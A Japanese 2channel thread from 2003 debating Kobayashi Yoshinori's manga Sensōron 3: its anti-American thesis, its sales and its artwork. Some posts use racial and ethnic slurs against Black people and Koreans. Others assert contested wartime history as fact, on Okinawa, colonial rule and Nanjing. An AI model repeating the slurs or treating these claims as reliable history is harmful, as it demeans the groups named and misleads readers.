【経済】小林よしのり、戦争論3発売するも人気低迷
http://news2.2ch.net/test/read.cgi/newsplus/1059620899/l50


869 :_:03/08/01 15:13 ID:vVrEc8o1
http://homepage.mac.com/hiroyuki44/

870 :名無しかましてよかですか?:03/08/01 15:24 ID:zMe9bsnY
西洋コンプレックス
これは日本文化である。
私たちは文化を保守します。

871 :名無しかましてよかですか?:03/08/01 15:31 ID:7KJEKcf0
>>867
無理して差別用語使わなくていいよ。リアルじゃ使えないおぼっちゃま君。

872 :名無しかましてよかですか?:03/08/01 15:42 ID:l3l+29Tr
親米でかまわないでしょ?
アメリカは役に立ってる!

873 :名無しかましてよかですか?:03/08/01 15:50 ID:zMe9bsnY

こうして、なんの意味のない煽りあいが続くのであった。


                       【完】



874 :名無しかましてよかですか?:03/08/01 15:50 ID:eRPOkMo+
反米、反米言う香具師は、
もうMade in USAのモノは一切使うな!
例えばパソコンとか(w。

875 :名無しかましてよかですか?:03/08/01 16:02 ID:dN693gXY
だめだこりゃ

876 :名無しかましてよかですか?:03/08/01 16:02 ID:AD7kDXrg
>>855
http://bookweb.kinokuniya.co.jp/guest/cgi-bin/best_wa.cgi?subj=tanko
きっちり売れてます。

877 :名無しかましてよかですか?:03/08/01 16:18 ID:QendVKug

戦争論3、SAPIO連載からの転載はあるの?


878 :名無しかましてよかですか?:03/08/01 16:29 ID:Q86Fe2pA
戦争論買うのってエロ本買うより恥ずかしいんだけど・・・

879 :名無しかましてよかですか?:03/08/01 17:13 ID:XH1s8Bkq
>>877
今回は一切ナシ

880 :名無しかましてよかですか?:03/08/01 17:55 ID:daL1hOWR
>>874
ちゃんと戦争論3読んだ?



881 :名無しかましてよかですか?:03/08/01 17:58 ID:mOpWlZaj
擁護派もアンチも読まない人多いね。

882 :名無しかましてよかですか?:03/08/01 17:59 ID:daL1hOWR
よしりんがが呉智英みたいに、近代民主主義批判を始めるとは…ゴー宣連載開始時は思いもヨランカッタ

883 :名無しかましてよかですか?:03/08/01 18:00 ID:daL1hOWR
漏れは3回通し&部分的には更に何回か読みますた

884 :名無しかましてよかですか?:03/08/01 18:03 ID:iVAs2cmy
呉智英  この名前の呼び方を教えてください

885 :名無しかましてよかですか?:03/08/01 18:12 ID:meKB9E1Q
クレチ ヒデ

886 :名無しかましてよかですか?:03/08/01 18:28 ID:daL1hOWR
>>884
くれ ともふさ
よしのりは「ゴチエイ」と読んでいるらしいがw

887 :名無しかましてよかですか?:03/08/01 18:34 ID:meKB9E1Q
>>886
どっちでもいいって自著で言ってたよ

888 :名無しかましてよかですか?:03/08/01 18:42 ID:JtsG/k/U
ブラウン管の向こう側
カッコつけた騎兵隊が
インディアンを
打ち倒した

889 :名無しかましてよかですか?:03/08/01 18:43 ID:Q79e14l7
ゴチエイ

890 :名無しかましてよかですか?:03/08/01 18:44 ID:lXYMXj0C
クレチエイって読んでた。。。、

891 :名無しかましてよかですか?:03/08/01 18:44 ID:i5+9P4zJ
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892 :名無しかましてよかですか?:03/08/01 19:48 ID:JtsG/k/U
ナバホ族の保留地

では石炭や石油やウランが採れるので、彼らは恵まれているともいわれる。だからといっ

て、ナバホ族の一人、一人を富ませてくれるわけではない。入ってくる金や鉱区使用料は

部族で管理し、全員のために使われる。十二万五千から十五万の人たちがいるのである

から、生活の質を高める効果は広く薄いものでしかない。それにまた天然資源は白人の

専門技術者たちに管理され、幸福をもたらすどころか怨嗟の的になっている。ブラック・

メサにある露天堀鉱山しかりで、環境破壊の元凶となり、ほとんど降雨のない土地におい

て、人びとが必要とする水の供給問題に深刻な脅威をつきつけている。ウラン鉱山で働

くナバホ族の者たちには、癌で早死にする者がでている。ナバホ族が合衆国内に存在す

る第三世界の低開発国民だといわれてきたのは、このような問題を抱えてきた必然的な

結果である。現時点での最大の懸案事項はビッグ・マウンテンをめぐる争いである。もと

はといえば白人が引き起こしたこの問題は、ホピとディネの伝統を厳格に守って生きる

両者が激しい非難の応酬をする事態を招き、それによって数百戸の家族が強制退去さ

せられる結果となり、彼らは今もって安普請のスラム化した家で暮らすはめになったまま

捨て置かれている。


893 :名無しかましてよかですか?:03/08/01 20:04 ID:qYIbzd7E
きちんと読んでないとか批判している奴がいるが、とても最後まで読める内容じゃないだろ、アレ。
少なくとも、まともな脳細胞持った奴ならさ。
俺は、「日英同盟がなくなった日」で、ダウン。
その後、手をつけてない。いや、つけられない(w

894 :名無しかましてよかですか?:03/08/01 20:08 ID:7KJEKcf0
俺、鉄拳の本なら全部立ち読みできた。

895 :名無しかましてよかですか?:03/08/01 20:13 ID:Gnyms3bR
土人の餓鬼が死ぬところが衝撃的でした

896 :874:03/08/01 20:19 ID:eRPOkMo+
>>874
読んだよん!

「なによりも『伝統』が大事!」ってことでしょ?
だったら、インターネットも使わないで、
かわら版刷って、飛脚でも使えば(w?

アメリカ製のアイテム使って、
アメリカ批判しても説得力0。
甘いんだよ!
ガキなんだよ!

897 :名無しかましてよかですか?:03/08/01 20:25 ID:nQcs6hsJ
>>896
どこの国でもアメリカ製のアイテム使ったアメリカ批判はあるわけで
日本だけ出来ないのは損です。

伝統はどうでもいい。

898 :874:03/08/01 20:29 ID:eRPOkMo+
あ、>>896>>880タソへのレスね。
すつれいしますた。

899 : :03/08/01 20:56 ID:FfD89q3D
>>896
インターネットで日本語を使えるようにしたのは日本人です
AA文化を作り上げたのも日本人です。

>>読んだよん!
君何歳??

900 :名無しかましてよかですか?:03/08/01 21:00 ID:G4+rHESE
>>899
>インターネットで日本語を使えるようにしたのは日本人です
>AA文化を作り上げたのも日本人です。


リアル消防か??藻前は!!そりゃガキの反論だよ(w


901 :名無しかましてよかですか?:03/08/01 21:02 ID:+2hkTl73
>>896
それって半島の発想だよ。





もしかしてチョ(ry

902 :名無しかましてよかですか?:03/08/01 21:05 ID:nQcs6hsJ
>>899
>インターネットで日本語を使えるようにしたのは日本人です
>AA文化を作り上げたのも日本人です

素晴しい反論です。中学生にしては上出来。

903 :名無しかましてよかですか?:03/08/01 21:22 ID:qYIbzd7E
ていうか、2ちゃんって本気で朝鮮人や中国人差別してる人がいるんだね。
「コレは差別じゃない」とか言ってるけど、「どうせ〇〇だから〇〇」とレッテルを貼って
集団で個々人を判断してる時点でもう差別だということに気付いてないのだろうか?
それじゃあ、部落差別者となんら変わりないよ。
韓国にも、自国の文化の反省をしてる人間ならたくさんいるというのに・・・

まあ、「どうせ2ちゃんねらーは扇動されやすい大衆の集まりだからな」

904 :山下:03/08/01 21:42 ID:zOG/GWF3
3買って読みました。最近TVで?だったからどうかなと思ってたけど
善かったと思った。僕も中年になって伝統や古き良き習慣が大切に
思えてきたのでね。でも屁理屈かもしれんが小林氏は日本の伝統的習慣
にもっとも遠い性格だと思います。理由その1
長幼の序を無視する。その2和を崩す。その3馬鹿正直に優しくはできない。
まあそれが面白くてゴー宣買ってるんだけどね。死にかけてたゴー板が活気が出て
見てて面白いです。


905 :  :03/08/01 21:42 ID:1ajnKYNR
韓国にも、自国の文化の反省をしてる人間ならたくさんいるというのに>ほんとかね?
何で知ってるの??


906 :名無しかましてよかですか?:03/08/01 21:52 ID:qYIbzd7E
>905
韓国人の掲示板で、ワンピースのパクリの本について
「自国の文化の恥ずべき所だ」と言って反省してたよ。
2ちゃんでしか韓国人の情報を得てなかった自分にとっては衝撃的だった。

907 :名無しかましてよかですか?:03/08/01 21:55 ID:j/kPs9/k
>>903
訂正
レッテルを貼って × → 事実に基づき下した判断 ○


908 :  :03/08/01 22:01 ID:uA0iUdQh
「戦争論3」 
想像以上のいいできだった。
漠然とした疑問がいくつも氷解した。
表現は相変わらず過激だし、鼻につくところも確かにあるが
私の評価では、1<2≦3 となる。




909 :名無しかましてよかですか?:03/08/01 22:04 ID:dOqQRrlv
まあ、日本の漫画でも××××とか××××。
××××に×××××とパクリ漫画はあるわけで。

910 :名無しかましてよかですか?:03/08/01 22:07 ID:T4gqF23M
今日やっと戦争論3読んだが、
何だありゃ?
反米論の方がタイトルとしては
あっている。

それにしても、目新しさは全くなかったな。

911 :名無しかましてよかですか?:03/08/01 22:10 ID:erE7Gd2p
>>586
ちょっと遅レスだけど。
俺の祖父母、親戚の沖縄戦経験者の話では
日本兵に住民が虐殺されたり、自決を命令させられたなんて
話は聞いたことが無いと言ってたよ。米兵による住民虐殺が
ひどかったから、追い詰められて青酸カリ飲んだり
飛び降り自殺を選んだ人が多かったたんだと。
県民の四分の一も虐殺するくらいだから、そりゃ投降を呼びかけられても
殺されるとしか思わないわな。。。


912 :名無しかましてよかですか?:03/08/01 22:21 ID:t+VfDFtL
今作は地図をかなり丁寧に細かく併記してたような気がする....。かなり
見やすかった(理解しやすかった)。

913 :  :03/08/01 22:29 ID:uA0iUdQh
>>906
それだけで判断するのはちょっとなあ。多数派かどうか。
NAVERなんかも覗いてみたら。

914 :名無しかましてよかですか?:03/08/01 22:34 ID:NZCjzwbR
というか>>906(>>903)自体が、2ちゃんを一括りにして
レッテルを貼っているのだが。


915 :名無しかましてよかですか?:03/08/01 22:39 ID:4OxG5VAR
ポチしんじゃえ

916 :名無しかましてよかですか?:03/08/01 22:39 ID:CVw7Ffim
ものすごい素朴な疑問。

「日本の伝統こそ、守るべきものだ!」と主張しておいて、
日本軍の東アジアの皇民化政策は全然OK!というのは
すさまじい矛盾ではないか?

朝鮮には朝鮮の、満州には満州の、台湾には台湾の
東南アジアには東南アジアの「伝統」があるだろう。

なのに、それは「すばらしい日本精神を教えいいことをした」で、
アメリカの戦後民主化政策は「日本の伝統を変えた」と憤る
というのではあまりにお粗末。

917 :名無しかましてよかですか?:03/08/01 22:40 ID:qYIbzd7E
>914
わざとだよ。
一括りにされたらやだろ?ってことでさ。
だから「」で囲んだんだろ。

918 :名無しかましてよかですか?:03/08/01 22:44 ID:NZCjzwbR
いや、そいつが浅はかなだけだと思うが。


919 :名無しかましてよかですか?:03/08/01 22:49 ID:XH1s8Bkq
>>916
http://tmp.2ch.net/test/read.cgi/kova/1059715098
■戦前の日本はアジアにおける米国みたいなもの■

920 :901:03/08/01 23:06 ID:bbVv8X4h
小林さんが出てきてから数年、今一番違和感を感じる事は、
昔ファンだったけど、冷めたと言うやつ。
どうしょうもないよね!サヨやウヨの方がまだましか?
最近の小林さんの物は首をかしげるものも多いけど、
根底にある大きなベースは変わっていないし、
だんだん、自分の考えと違うと裏切られたと思うやつって、
自分が全てなんだね、昔小林さんも書いてたけど、自分で信じてたくせに、
勘当したくせに、振られた女を自分の意にならないからって
逆恨みする情けないやつのなんと、多い事、
何はともあれ、小林さんの出現が、今のマスコミ、世論、文化人に
与えている影響により、今の日本の世論は動いているし、
全ての意見に賛成はできないけど、冷静に考えても、まー将来と言うか、
50年後は日本は崩壊するような国になる可能性を10年な遅らせてくれたかな!
10年に一人はこのような人材がでなければ、、でも、もう遅いかな、
情けないけど、、

921 :名無しかましてよかですか?:03/08/01 23:07 ID:FfD89q3D
>>インターネットで日本語を使えるようにしたのは日本人です
>>AA文化を作り上げたのも日本人です。

>リアル消防か??藻前は!!そりゃガキの反論だよ(w

俺間違ったこといってる?
2ch全部ローマ字でやるか?

わしズム創刊の時と同様
ニュー速、マス板からフジサンケイ工作員が
出張してきてるけど
まさしく戦争論3の302-303そのものだね
生態系がさ

仕事とはいえお前も
「俺らの言ってることは正しい。 
 なぜなら、俺らの言ってることは2chで支持されてる。」
って叫びまわるのいいかげん疲れたろ。

お前らのボスにこう進言したらいい。
「作る会教科書第2版では
 朝鮮が東京を焼き原爆を落としたと捏造しましょう。」
ってな。そうすりゃ万事解決、保守もまとまる
残りの夏休みもエンジョイできる。


922 :日大商4年:03/08/01 23:18 ID:pmnG0MgC
スレが立てにくくなってるみたいだから、
誰か早めにスレ立てといて。以下の内容で。

新・ゴーマニズム宣言special「戦争論3」part2

★過去ログ
新・ゴーマニズム宣言スペシャル「戦争論3」
http://tmp.2ch.net/test/read.cgi/kova/1059019652/
△◇▽戦争論3について△◇▽
http://tmp.2ch.net/test/read.cgi/kova/1058947955/

923 :名無しかましてよかですか?:03/08/01 23:20 ID:uE5Vhq6/
 日本は現実に独立できないということは、小林も百も承知だ。
だが、この二人を比べてみよ…
 一人は太陽も見る事なく鉱山の奥で苦役を続けているし
解放の希望は一片もないが、彼の魂は信仰やわずかに先祖に
伝わる歌やリズム、人間愛などを失わず自由を思い続ける
誇り高い人間だ。
 一人は皇帝を意のままにし、百万の兵を操る将軍も
自分の名前も覚えきれないほどいい家系の貴族も
彼の機嫌一つで族滅、無論その富は限りない。
だがその心に保身と快楽しかない以上、彼は豚にも劣る
卑しい奴隷だ。
 日本人は後者だ。だからこそ、魂だけでも前者であれ、
と気持ちで「戦争論」シリーズは書かれたのではないか?
 そして、お前達は日本人はどちらであるべきだと思う?

924 :名無しかましてよかですか?:03/08/01 23:21 ID:qYIbzd7E
>921
>514

925 :名無しかましてよかですか?:03/08/01 23:23 ID:qYIbzd7E
>923
一般人は魂だとか、宗教には興味ありません。

926 :名無しかましてよかですか?:03/08/01 23:27 ID:6ymr7kSk
>>923
同情型プロレタリズム丸出しの煽動文、下品で先が見え透いておりまったく評価する気にならない。
そう考えるとおそらく923が念頭においたであろう「星の王子様」はいい話だな、本当に。


927 :名無しかましてよかですか?:03/08/01 23:27 ID:34U/yBRz
>>923
どう考えても、今の日本が後者のようには思えんのだが?
もちろん、前者のようにも思えん。

そして、どっちのビジョンも、俺ならば、

 い や な こ っ た

928 :名無しかましてよかですか?:03/08/01 23:29 ID:NJINXyB4
俺の周りだと2ちゃんねらでコヴァはかなりディベート能力高いよ
朝ナマの大学生より理論武装してるw

929 : :03/08/01 23:34 ID:FfD89q3D
>>928
お前親友なら忠告してやれよ
2chの匿名前提戦法をリアルでやって
一時的な自尊心は満たされるかもしれないけど
現実世界の多くのものが失われているってな

比較対照が朝生じゃしゃーないか

930 :名無しかましてよかですか?:03/08/01 23:41 ID:OFIzP9vF
>>923

>一人は太陽も見る事なく鉱山の奥で苦役を続けているし
>解放の希望は一片もないが、彼の魂は信仰やわずかに先祖に
>伝わる歌やリズム、人間愛などを失わず自由を思い続ける
>誇り高い人間だ。

>魂だけでも前者であれ、
>と気持ちで「戦争論」シリーズは書かれたのではないか?

おのれ等わしストの牛蛙どもは、己の二重・三重顎をまず改めよ。
顎についた脂肪を削ぎ落とすことから始めよ。
わしストは画中に女どもを侍らせるなどして、快より始めておる。言語道断なり。

貝より始めよ。

931 :名無しかましてよかですか?:03/08/01 23:42 ID:6ymr7kSk
横レススマンが928のどこに親友とか書いてあるんだ?
匿名前提戦法というのも意味がわからないな。
だいたい2ちゃんに戦法があるということすら初めて知ったぞ(w

まあいきなり政治思想について議論を吹っかけてくる奴というのはそもそも語るに落ちてるな。
右翼だろうと左翼だろうとこれはまったく同じ。

932 :名無しかましてよかですか?:03/08/01 23:46 ID:gVQn8DK/
経済で占領しかえしてやればいいんだよ!
 

933 :名無しかましてよかですか?:03/08/01 23:51 ID:OFIzP9vF
>>932
方策は?
つーか、一行で済ますな!
慮外者めが!


934 :名無しかましてよかですか?:03/08/02 00:05 ID:jq1Sy97C
>>2chの匿名前提戦法

1.麻雀の3人回しみたいに仲間内で連携
2.IDコツコツ変更
3.1.2により支持者の分身を大量生産
4.「在日を駆除するしようね♪」と恐喝して本物を2chから駆逐する
5.4の後、自作自演でターゲットをわざと貶めるレスをする
6.確信をつかれ、議論で対抗できなくなるとAAコピペでスレ破壊


935 :名無しかましてよかですか?:03/08/02 00:11 ID:phpyGuFH
>>934
それがそもそも戦法なのかきわめて怪しいが、どうやってリアルでやるんだ?
自作自演とか…AAコピペとか…、比喩にしてもなんに例えられるのかちょっと思いつかないが。
まーリアルで「駆除するしようね」なんて言葉使いをする奴はヤダね、ほんとに。

936 :ポチズム:03/08/02 00:17 ID:IMx161aZ
>>934
???1は誰に核心を突かれたのだ???
つーか、1によって既にスレ破壊されておろうが・・・・・


937 :日大商4年:03/08/02 00:20 ID:Cp8vyuo9
>>916

日本の場合、西洋人のように伝統を破壊し、搾取することしか考えなかったのではない。
日本は相手国の伝統を破壊するようことはしなかった。

p191
満州でも朝鮮でも台湾でも、あくまでも「併合」して日本人と「同化」しようとまで考えたのであり、湯水のように資金をつぎ込んでインフラ整備をし、教育水準を上げたのである。

p214
日本は第一次大戦に参加した結果として、ドイツ領だった南洋諸島を、統治することになった。
学校や病院が全域に建てられ、ミクロネシア人の半数以上がはじめて実用的な読み書きが
できるようになり、住民全員に予防接種が実施され、漁業、農業、工業、商業の振興、
製糖業の目ざましい発展で、住民の生活水準は著しく向上した。
第二次世界大戦後、この地域はアメリカが統治した。アメリカ人が二宮金次郎像を引きずり下ろし、
南洋神社を取り壊したのは現地の人々にとって耐えがたい行為だったという。
アメリカはこの地域を水爆実験場程度にしか扱わなかったため、
人々の多くは今も親日的で、パラオでは8割の人が名前の一部に日本名をつけている。

>皇民化政策は全然OK!
本書のどこにそんなこと書いてあります?
あなたちゃんと読んでますか?

938 :日大商4年:03/08/02 00:40 ID:Cp8vyuo9
>>923
なんか表現の仕方がキモイ。

939 :山崎 渉:03/08/02 01:05 ID:+oTprYon
(^^)

940 :名無しかましてよかですか?:03/08/02 01:10 ID:s6AcW8e1
すみませんが、教えてください。NEVERとかハン版とか何なんですか?
凄く興味あるので場所教えてください。
初心者ですので、よろしくです。

941 :名無しかましてよかですか?:03/08/02 01:17 ID:BRTPDr4D
NAVER=韓国系検索サイト
http://www.naver.co.jp/
ハングル板=在日・嫌韓厨の巣窟
http://ex.2ch.net/korea/

942 :名無しかましてよかですか?:03/08/02 01:18 ID:+5wziwGf
>>940
NEVERはここのこと http://www.ynest.com/natto.htm


943 :名無しかましてよかですか?:03/08/02 01:21 ID:eUeveXKw
軍隊を持たない日本がどうやって反米を唱えればいいのだろうか?
小林はアメリカではなく、憲法第九条ヽ(´ー`)ノマンセーの左翼集団を責めるべきではないのだろうか?

感想です

944 :名無しかましてよかですか?:03/08/02 01:28 ID:iOzYDPUt
最近話題聞いてなくて、今日本屋で見て出てるの初めて知ったよ
で、これはオモシロイのでつか?
今度はどんな論点で責めてきたの?

945 :_:03/08/02 01:30 ID:4++rNXLA
http://homepage.mac.com/hiroyuki44/

946 :名無しかましてよかですか?:03/08/02 01:34 ID:yzBfDSZx
>>944
白人、とりわけ、アメリカの非道を世界史レベルで見直してます。
結論は、日本は自立し、伝統を守るべき。

947 :名無しかましてよかですか?:03/08/02 01:34 ID:X1a+x88K
次スレ

新・ゴーマニズム宣言スペシャル「戦争論3」2
http://tmp.2ch.net/test/read.cgi/kova/1059755607/l50

948 :名無しかましてよかですか?:03/08/02 01:54 ID:KkTtksKW
小林が総理になったら小泉になるだろう。
気概だけで政治はやっていけんのだよ。

949 :名無しかましてよかですか?:03/08/02 02:02 ID:pSGZrGQU
>948
俺もソウ思う。
だから彼は総理になろうとはしないと思う。

950 :名無しかましてよかですか?:03/08/02 02:08 ID:Dl9y91n1
現実もんだい小林は誰が総理になりゃいいと思ってるのさ。
石原はとりあえず無しとして。(年齢的にも厳しいし現実味がやや薄いから)
もうちっとリアリティのあるカンや亀井や橋本派の誰かとか
そういうのなら小林の理想に近付けるとでもいうんかい。

951 :名無しかましてよかですか?:03/08/02 02:33 ID:QckKM9kM
次期首相は江藤隆美だな

952 :名無しかましてよかですか?:03/08/02 03:40 ID:FEeQl5Bd
>>950
古賀の選んだ人間だろ。

953 :名無しかましてよかですか?:03/08/02 03:49 ID:CmvNG5mh

     ∧_∧ 
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕 <よろしくなー
  = ◎――――――◎                      



954 :名無しかましてよかですか?:03/08/02 11:09 ID:eUeveXKw
やれることからコツコツと

西川きよしでどうですか?

955 :名無しかましてよかですか?:03/08/02 11:29 ID:PHsBtpCY
ていうか何で自分たちで
「たかが漫画」「言論人ではない」「つっこみどころ満載」
って言ってるのに
反論本だしたりそこまで必死になるのかよくわからん。
他の漫画と同じに放置しといてくれればいいのに。


956 :名無しかましてよかですか?:03/08/02 11:53 ID:Q8jTqyou
>>955
影響力から言ったらその手の思想本の100倍以上あるから
無視できないでしょうが。西部と生姜と田原の対談本の方が
よほどデムパなんだけど、世間一般へのインパクトでは小林の
戦争論の方が上だから放置しようにも出来ない罠。

957 :名無しかましてよかですか?:03/08/02 14:20 ID:tP16jFhX
>>955
やっぱ信者がすさまじいからじゃないの。とくに10代あたりの。

958 :名無しかましてよかですか?:03/08/02 14:29 ID:I3ySHGTw
>>950
古賀だろ。
思想は正反対だがな。
小林は小泉をおろして古賀にして日本は独立できるとでも思っているのかね。

959 :名無しかましてよかですか?:03/08/02 14:31 ID:oG9oYRhc
しゃべり場のガキと10代コヴァどっちがマシだと思う?

960 :名無しかましてよかですか?:03/08/02 14:42 ID:PHsBtpCY
>>959
どっちもマシだとは思えん。

961 :名無しかましてよかですか?:03/08/02 14:49 ID:PHsBtpCY
どっちのガキも
甘えすぎで今の生活が
当たり前だと思ってて
頭でっかちという
意味では同じそうだし。

962 :名無しかましてよかですか?:03/08/02 15:36 ID:9LE1mUJJ
>>955
このスレの状況も同じ ガキとかどっちがマシとか

  じゃあそのガキの世間話しに昼から張り付いてる自分達はなんなのかと

963 :名無しかましてよかですか?:03/08/02 16:27 ID:mZXQ5yOw
小林天才。歴史に残る思想家。

964 :名無しかましてよかですか?:03/08/02 16:42 ID:M3B3Bbqz
戦争論3の238ページから240ページに記述されている米兵による日本兵に
対する残虐行為、これを知っていた人はほとんどおらんのでは。
俺ははじめて聞いたが。

965 :名無しかましてよかですか?:03/08/02 17:22 ID:c055lQqN
「アメリカについていけば大丈夫と思うな。自分の頭で考えろ」
というと
「アメリカから離れて何が出来るのか?」
という言い方をしてくるポチ。
つまりたったそれだけの意見も許せないわけだね。
だからポチ。

966 :アトムのアイボ:03/08/02 17:34 ID:Ai/kByIu
ゴー宣は、「何も知らないお子様向けの学習漫画」である。しかしこの漫画は、単
なる学習漫画ではない。登場人物である「小林よしのり」が事実を知り考え
て強い確信を得ることで、「戦闘力をアップさせていく」のである。そして決め台
詞の後、ばったばったと「敵」を倒す。まるで時代劇の「水戸黄門」である。
読者はそこでカタルシスを得る。しかも「水戸黄門」とは違って、「小林よしのり」は
どんどん「強く」なる。これに対抗して、理論的、論理的な反論は無意味である。
理論的、論理的な反論には、「ゴー宣」のようなカタルシス、ドライブ感がない。
例えば、
アンチ「ゴー宣」
//plaza25.mbn.or.jp/~hinode_kogei/antigo.html

は優れた反論です。しかしゴー宣の読者はおそらく読まない。読んでも「つまら
ん、お前の話はつまらん」と思うでしょう。
もし読んで少しでもゴー宣を客観視するようになると、あのカタルシス、ドライ
ブ感が失われるからである。こうして肥大していく「小林よしのり」は表現空間
だけで生きてはいけない。だから、「作る会」に参加した。しかし「強く」なる「小林
よしのり」は、結局「作る会」に収まらない。そして、「わしズム」という雑誌を発行
する。そこは、「小林よしのり」の世界である。
期待は、「小林よしのり」の認識が「敵は日本人の国民性にあり」と気づく事である。
日本人の国民性とは、言い換えれば「権威(カリスマ)依存性」である。田中角栄、
石原慎太郎が人気があるのは、この国民性である。「小林よしのり」はこの二人や
時代劇「水戸黄門」、中曽根康弘、池田大作、を「撃破」しながら、ついに、
日本最高最大最古のカリスマ、天皇にたどり着く。
そして「天皇論」を書く。すでに信者を持ち権威になり、
保守を名のる「小林よしのり」の天皇論。期待大である。

967 :名無しかましてよかですか?:03/08/02 17:35 ID:KC4p5QAL
なんか、つっこみどころ満載の戦争論なんだけどさ。
特に笑えるのが、「日米同盟がなくなった日」だね。
だって、アレだけアメリカからの離脱を説いておいて、
じゃあ、どうやっていけばいいのかといったら
「自分の頭で考えろ」だもんな。要は、方策はない訳でしょ(w
結局米から離れたら何も出来ないってことでしょ(w
無責任すぎて、笑いが止まらねぇ


968 : :03/08/02 17:42 ID:unURgJaB

 967>

 一生アメリカの奴隷でいろよwwwwwwwwwwwwwwwwww

969 :名無しかましてよかですか?:03/08/02 17:47 ID:HG70hWi0
It`s a Kopipe sumunida!

970 :名無しかましてよかですか?:03/08/02 18:41 ID:9VKaMYlH
すいません。唐突に関係の無いことを書くのですが、コヴァの絵をもう少し何とかしてほしいと思うのは俺だけかな?
荒すぎると思いませんか?
自分でも卑下していたジャンプデビュー当時の灯台一直線がインクの染みよりはずいぶんまともに成っていますが、
筆ペンで殴り書きしたような箇所が散見されるのはどうも我慢がなりません。
今回の戦争論でも、3章ぐらいまでは背景も人物も結構丁寧に描かれていて、
コヴァもやっと線の荒さを払拭して、読みきり代表作としての自覚を持って、真摯に原稿に取り組んだかと思いましたが、
続く4章からの絵の乱れには到底我慢が出来ませんでした。
自称異常天才漫画家を標榜するならば、線の一つにも細心の注意を払って欲しい。
リーダーピロイもコヴァに迎合、懐柔するだけでなく、絵の汚さが作品を損なっている点を厳しく指摘しなさいよ。
良いコマと劣悪なコマとの差がありすぎ。
誰なんだ、あの筆ペン水墨画風の殴り書きをしているのは?

971 :名無しかましてよかですか?:03/08/02 18:42 ID:TlgZ3ySN
意識というものは基本的・原理的に間主観的であり、
小林の用語法に便乗した言い方をすれば、特攻の理不尽さに
一晩泣き濡れた少年兵の心も、「公」です。
それも継承されるべきでしょう。

972 :名無しかましてよかですか?:03/08/02 18:43 ID:KC4p5QAL
>968
もういいよ、お前の勝ちで、
だから、そんなに必死になってwを押すな。
見てるこっちがつらいから・・・

973 :名無しかましてよかですか? :03/08/02 18:45 ID:n+jfV5bG
966よ 君の書いていることにもはや効力はない。
  同じことを言いふらすのが左翼人間の証明だよ
アンチゴー宣 は第1時資料が少ないねー。
  そして一番の問題は「口が汚い」と言う所かな、品性の問題が大きい。
戦争論2への反論とかがないね。中国人の人肉食とかはいくらでも資料あるじゃない。
魯迅の「阿Q正伝・狂人日記」とか 「三国志」とか いくらでもでてくるね。
 第一、南京大虐殺に対する考え方がその後の資料より反論されているじゃない。
  いまだに吉田証言を妄信している人は学者の中でも、一般人でもほとんどいないでしょ。


974 :名無しかましてよかですか?:03/08/02 18:53 ID:+qeALo8J
>>973はネタ?
魯迅の「阿Q正伝・狂人日記」の人肉食は、同胞を蔑ろにする当時の
中国人を風刺したもの、「三国志」は1500年以上前のファンタジー。
大江健三郎の「死体洗いのバイト」と一緒。

975 :名無しかましてよかですか?:03/08/02 18:57 ID:kGC1qrDl
土人の下賎なくろん坊の餓鬼が死ぬところが衝撃的でした

976 :名無しかましてよかですか?:03/08/02 19:39 ID:CakEyxwp
P160
>食肉文化を正当化するのが、一神教とたるキリスト教だった。

正当化 ってどういうこと?

977 :名無しかましてよかですか?:03/08/02 19:51 ID:dAVhDvHk
さあ? 別にユダヤ教でも、イスラム教でも
食肉そのものを禁じてはいないと思うが。

978 :名無しかましてよかですか?:03/08/02 19:54 ID:8eOe4uNz
>>976
小林が動物愛護なんじゃないの?

979 :名無しかましてよかですか?:03/08/02 19:56 ID:xOuHzSyh
>>200
ある意味正解。
賛成も反対もしないで、ただ無視するのがコヴァにとっても
一番の薬かと。

980 ::03/08/02 20:16 ID:RoYwjyCl

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981 :名無しかましてよかですか?:03/08/02 21:41 ID:GsH42nCn
>>975
小林さんはああいった描写が上手いとおもう。
正直怖かった。

982 :名無しかましてよかですか?:03/08/02 21:45 ID:+1XL4Cua
>>981
恐い絵、ヌード。
この二つが入ってるとガキは気になって気になってしょうがなくて、また読む。
漫画の手法だな。

983 :名無しかましてよかですか?:03/08/02 22:10 ID:TmpxFsmY
>>981
( ´_ゝ`)フーン それが平均的な小学生の感想か

984 :既出だったらすいません:03/08/02 22:11 ID:khb1ZsPc
今日の読売新聞夕刊週刊ベストセラー(総合)
7月29日トーハン調べ
1 バカの壁
2 女王と海賊 暁の天使たち(5)
3 かいけつゾロリのようかい大リーグ
4 トリビアの泉 へぇの本(1)(2)
5 新ゴーマニズム宣言スペシャル 戦争論(3)
6 世界の中心で、愛を叫ぶ
7 バトル・ロワイヤル
8 わしズムVol.7


やっぱり売上が落ちてきているような…

985 :名無しかましてよかですか?:03/08/02 22:35 ID:02OIaNWC
>984
7位のバトろわは2だろ?

売り切れてるんじゃねーの?

986 :名無しかましてよかですか?:03/08/02 22:41 ID:T0ojAv2g

恐い絵とヌード描いても悲しいかな小林よしのりは画力が足りない訳で。

あれでガキの集客力になってると思ってる奴も大変痛いと思いますね。

987 :名無しかましてよかですか?:03/08/02 22:45 ID:02OIaNWC
>>986
本人がやたら才能の話するたびに痛いな〜って感じるのはもれだけ?

988 :名無しかましてよかですか?:03/08/02 22:45 ID:ZFqBUqhU
>>986
別の意味で怖い絵なら描ける。
憎い敵の顔を描く時は、異様な怨念が感じられて怖い。

989 :名無しかましてよかですか?:03/08/02 22:48 ID:M3B3Bbqz
普通にうまいけどな。似顔絵とか。
大体、絵なんかどうでもよいマンガであり、もしそれが問題ならばアシスタントに
やらせればいいだろう。

が、そんな事をしていては、あれだけ大部なマンガでは、コストがかかって仕方
ない。

990 :名無しかましてよかですか?:03/08/02 22:48 ID:pQAnk8oX
戦争論3にみる小林の画力
http://tmp.2ch.net/test/read.cgi/kova/1059400985/


991 :名無しかましてよかですか?:03/08/02 23:01 ID:LD7d6TUf
似てなければ、似顔絵描かれても怒る奴はおらんな・・・

992 :長文なってスマソ:03/08/02 23:04 ID:T0ojAv2g
それ程貶める意味で言ったんじゃないけどね。現在第一線で活躍してる
漫画家と比べると劣るという意味。比べられるだけでも凄い事だと
思うし漫画が画力だけでない事も重々承知してます。
むしろ表現力や観察力は上手いと思うし、そっちのが漫画としては大事
なんで小林氏はあれでいいと思います。一定のラインより上ならどんだけ
上手かろうと対して変わらんと思うし。言いたかったのはむしろ二行目の方。
ガキといえど舐めちゃいかんて事。982が無知なのは間違いないなと。
小林はガキから少年から大人まで読者を獲得してるやり手漫画家。
それぞれの層でそれぞれヒットを飛ばしてる。しかもギャグの分野で、
